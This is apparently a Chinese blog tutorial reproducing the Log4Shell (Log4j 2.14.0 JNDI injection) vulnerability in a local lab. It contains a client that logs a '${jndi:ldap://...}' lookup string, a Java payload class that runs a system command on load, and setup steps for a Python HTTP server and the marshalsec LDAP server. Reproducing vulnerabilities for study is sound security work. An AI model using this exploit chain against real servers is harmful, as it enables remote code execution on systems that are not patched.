前言:想着从源码静态分析角度分析下漏洞,所以先进行一波复现。
一、jar包版本要求:
Apache Log4j 2.x <= 2.14.1
我使用版本为2.14.0,官方下载链接:https://archive.apache.org/dist/logging/log4j/2.14.0/
二、漏洞复现:
模拟客户端
1、下载 Log4j jar包,解压,IDEA新建一个java工程,IDEA导入如下:
2、src目录下新建文件Hack.java
和 log4j2.xml
:
- 文件 log4j2.xml:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="CONSOLE" target="SYSTEM_OUT">
<PatternLayout pattern="%d %-5p [%t] (%F:%L) - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="CONSOLE"/>
</Root>
</Loggers>
</Configuration>
- 文件 Hack.java:
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Hack {
private static final Logger logger = LogManager.getLogger(Hack.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
}
模拟服务端
1、在其他目录新建文件 Log4jRCE.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Log4jRCE {
static {
System.out.println("I am Log4jRCE from remote!!!");
Process p;
String [] cmd = {"open", "/System/Applications/Calculator.app"};
try {
p = java.lang.Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line=br.readLine())!=null) {
System.out.println(line);
}
}
catch (IOException e) {
e.printStackTrace();
}
}
}
2、编译成class文件:
javac Log4jRCE.java
3、在Log4jRCE.class
所在目录使用Python创建临时服务器:
python3 -m http.server 8888
4、部署LDAP服务:
- 下载marshalsec,直接IDEA打开,等待依赖下载完成:
https://github.com/mbechler/marshalsec - 配置参数
http://127.0.0.1:8888/#Log4jRCE
:
-
点击运行开始监听:
漏洞触发
1、点击客户端的运行按钮触发:
2、复现成功。